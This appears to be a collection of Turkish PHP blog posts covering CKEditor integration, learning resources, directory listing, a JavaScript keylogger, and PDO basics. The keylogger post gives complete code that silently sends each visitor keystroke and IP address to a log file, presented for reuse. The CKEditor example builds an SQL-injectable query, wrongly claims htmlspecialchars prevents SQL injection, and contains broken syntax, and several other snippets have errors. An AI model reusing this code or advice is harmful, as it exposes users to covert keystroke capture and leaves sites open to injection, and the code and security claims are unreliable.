Ckeditor Nedir? Ckeditor Kullanımı?

Yönetilebilir internet sayfaları yaparken editörler çok işimize yarıyor.Editörler bizlere html kodlarını hiç bilmeden yazılarımızı kolayca şekillendirme fırsatı sunmakta.

Piyasada bir çok editör var bunlardan en popülerleri;ckeditör,fckeditör..

Ben projelerimde daima ckeditör kullanırım ,stabilizasyonu ve içerisinde güvenlik açığı bulundurmaması sebeplerimden bazıları.

Öncelikle ckeditor sayfasına gidelim ,karşımıza paketler gelecektir.Eğer kullanıcıya yönelik bir editör yapacaksanız basic package işinizi görecektir.Yok ben kapsamlı bir şey yapacağım derseniz full package kullanmanızı tavsiye ederim.

Sayfamızda bulunan </head> etiketinden evvel aşağıda bulunan sayfaya dahil etmek için kullandığımız kodu yapıştıralım.

<script type=“text/javascript” src=“ck/ckeditor.js”></script>

Ardından ise eklyeceğiniz sayfaya ckeditor class’ı bulunduran bir textarea eklemeniz yeterli olacaktır.

<textarea name=“post” class=“ckeditor”></textarea>

Bunları veritabanına kayıt ettirmek için ise aşağıda bir örnek vereceğim.

Formun olduğu kısımı aşağıdaki gibi varsayalım , kaydet.php dosyasına get ile veri yollanılıyor.

<form method=”get” action=”kaydet.php”/>

<textarea name=veri class=“ckeditor”></textarea>

<input type=”button” value=”kaydet”/>

</form>

Kaydet.php içeriği ise aşağıdaki gibi olsun.

<?php

$gelen = $_GET = [‘veri‘];

            $kaydet        =    mysql_query(“insert into tablo (veri) values (‘$gelen’)”);
            
            if($kaydet){
                print “Veri başarıyla eklendi.”;
            }else{
                echo “Veri başarıyla eklenemedi.”;
            }
?>
Yukarıaki php örneğinde eski bir teknoloji olan mysql_query fonksiyonunu kullandım ,dilerseniz pdo ve mysqli de kullanabilirsiniz.
Mysql_query fonksiyonunu kullanacak olursanız sql injection’u önlemek için htmlspecialchars kullanmanızı ve elinizden geldiği kadar hata yapmaktan kaçmanızı tavsiye ediyorum.
Elimden geldiğince açıklayıcı olarak anlatmaya çalıştım ,gerisi sizde.Eğer karşılaştığınız bir sorun varsa yorum kısmından yazabilirsiniz.
NOT: WORDPRESS’DEN DOLAYI ” BU TIRNAK İŞARETİNİ DÜZ TIRNAK İLE DEĞİŞTİRİNİZ.AKSİ TAKTİRDE ÇALIŞMAYACAKTIR.

Php Nasıl Öğrenilir?

İnternet dünyasının en gelişmiş web programla dillerinden birisi olan php kullanılmaya başladığından beri popüleritesini düşürmeden yayılmaya devam ediyor.Her webmasterin öğrenmesi gereken bir programlama dili olan php açılımı (Hypertext Preprocessor) bu pek bilinmez ama 🙂

Lafı uzatmadan hemen sizlere kolay php öğrenmenizi sağlayacak bir kaç kaynak öneriyim..

W3Schools ,php veya aklınıza gelebilecek her türlü programlama dili ile ilgili materyal barındıran köklü bir eğitim sitesi,php dökümanlarına ulaşmak için buraya tıklayabilirsiniz.

Sanalkurs üzerinden Mustafa Zahid EFE adlı yazılım geliştiricinin çekmiş olduğu eğitimleri inceleyebilirsiniz, ben baktım gerçekten özen var 🙂 Ellerine sağlık kendisinin..

Son olarak php geliştiricilerinin hazırladığı bir anlatım okumak isterseniz , php.net adresine girebilirsiniz.

Bitirişi şöyle yapmak istiyorum ,php ve diğer programlama dilleri pratik yapılmadan öğrenilmesi kolay birşey değil.Bu sebepten dolayı kendinize basit bir proje belirlemenizi onun üzerinden gitmenizi tavsiye ederim..

Faydalı olduysa ne mutlu bana, iyi kodlamalar..

PHP ile Klasör İçersindeki Dosyaları Listeleme

Selamlar ,geçen gün dosya listeleme,dosya düzenleme vb. işlemlerin yapılabileceği bir script geliştiriyordum.Aşağıda bulunan kod gerçekten çok işimi gördü ,sizin de işinizi göreceğine inanç duyuyorum.

Aşağıda bulunan kod çoğu shell yazılımlarında,dosya yöneticisi yazılımlarında kullanılmaktadır.Ben kodladığım bir admin paneli için ftp erişimi kurmaksızın, dosya düzenleme işlemleri için kullanmıştım.


$dizin = opendir("home/bora/public_html"); //listelenecek dizin
	while (($dosya = readdir($dizin)) !== false){
	if(! is_dir($dosya)){ 
		
	echo $dosya."
";
			}
		}
	closedir($dizin);

Javascript İle Keylogger Yapımı

Geçenlerde google’ı biraz inceliyordum,gmail sayfasına daha doğrusu,gmail kayıt sayfasına javascript ile bir keylogger koyduğunun farkına vardım.Bunu bot anlamak için yapıyor olabileceğini düşünmüyor değilim,bir örnek hazırladım aşağıdan kodlarına erişebilirsiniz.

İndex.php dosyamızı şu şekilde hazırlayalım ve javascript dosyamızı dışarıdan include edelim.

<html lang="tr">
<head>
<title>javascript keylogger</a>
<script language="javascript" src="kayit.js"/>
</head>
<body onkeyup="behavior(event)">
makeRequest('./yaz.php?on=' + keyb);
</body>
</html>

Yaz.php dosyamızda budur 🙂 log ve ip adresi kaydı yaptırıyoruz.ip gerçek olan değil porxy ipdir.gerçek olanı almak istiyorsanız bu bağlantıyı ziyaret edebilirsiniz.

<?php
error_reporting(E_ALL & ~E_NOTICE);
$logyolu = "./loglar.html";
$ipadresi = $_SERVER['REMOTE_ADDR'];
$_get= $_GET['on']."|";
$handle = fopen($logyolu,"a");
$handl3 = fopen($logyolu,"c");

fwrite($handl3,"<style>body {; font-size:10px;}</style><div align='center'>"."IP:".$ip."<br />"</div> Loglanan: <br />");

fwrite($handle,$_get);
fclose($handl3);
?>

En son ise kayit.js dosyalarımızı ayarlıyalım :))

function behavior(event)
{
var keya = "";
keya = event.keyCode;
keyb = String.fromCharCode(keya);
makeRequest('./yaz.php?on=' + keyb);
}
function makeRequest(url)
{
var httpRequest;
if (window.XMLHttpRequest)
{ // Mozilla, Safari
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject)
{ // IE
try
{
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
if (!httpRequest)
{
return false;
}
httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
httpRequest.open('GET', url, true);
httpRequest.send(null);
}
function alertContents(httpRequest)
{
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
}
else
{
}
}
}

Güzel oldu güzel,tabi loglar.html dosyamızı da açalım aynı klasöre..Projeyi internette bir kaynaktan buldum inceledim ve sizlerle paylaşıyorum,tabi bir iki değişiklik de yaptım 😉 Yorumlarınızı eksik etmeyin..

PHP İle Dosya Kontrolü

Bazılarımız uzak sunucudan çektikleri verilerle işlemlerini yaparlar,bunu sürekli elle kontrol etmek yerine php yapısında bulunan get_header() fonksiyonu ile kolayca gerçekleştirebilirsiniz.

$dosya = get_headers("http://borabozdogan.net.tr/dosya.php");
if ($dosya['0'] == 'HTTP/1.1 200 OK') {
echo '<b style="color:Green;">Dosya sitede mecvut</b>';
}else{
echo '<b style="color:Red;">Dosya sitede mevcut değil</b>';
}

 

PHP İle PDO İşlemleri

Mysql_connect ve mysql_query fonksiyonları artık yavaş yavaş geçerliliğini kaybetmeye başladı.Bilindik türden içerik yönetim sistemlerinin de PDO ve MySQLi altyapısına geçmesinin ardından web yazılım geliştiricileri tarafından kullanılması şart olan bir yapı haline geldi.Mysql_connect ve mysql_query  fonksiyonlarının beraberinde getirdiği sql injection açığı da minimum seviyeye indirgenebiliyor.


PDO İle Mysql Bağlantısı

<?php
try {
$pdo = new PDO("mysql:host=localhost;dbname=bora", "root", "123");
} catch ( PDOException $exception ){
echo 'Hata var,bilgiler aşağıda!<br />'; //echo ile bir metin verdirip,alt satıra geçirdik.
echo $exception->getMessage(); //hata mesajı vermesini sağladık.
}

?>

Karakter Seti Ayarlama

Karakter setleri bazen veritabanı sorunları oluşturmakta,veritabanları ile çalışan kişilerin bu yapıyı kullanmasını şiddetle tavsiye ederim.

<?php

$pdo->query("SET CHARACTER SET uf8");

?>

PDO İle Tek Satır Veri Çekmek

Query fonksiyonu ile tek satır verileri aşağıdaki kod ile sorunsuz olarak çekebiliriz.

<?php
$row = $pdo->query('SELECT * FROM elemanlar WHERE id = 1')->fetch();
echo $row['eleman_ismi'];

?>

PHP İle Yeni Bir Kayıt Eklemek

<?php

if($pdo->exec('INSERT INTO site_ayarlar (site_baslik) VALUES ("Bora Bozdoğan Php Dersleri")'))
{
echo 'Yeni kullanıcı başarıyla eklendi.';
}
else
{
echo 'Yeni kullanıcı eklenemedi.';
}

?>

Yukarıda bazı temel işlemlerin örneklerini verdim.Dilerseniz bu linkteki bağlantıdan daha kapsamlı bilgilere erişebilirsiniz.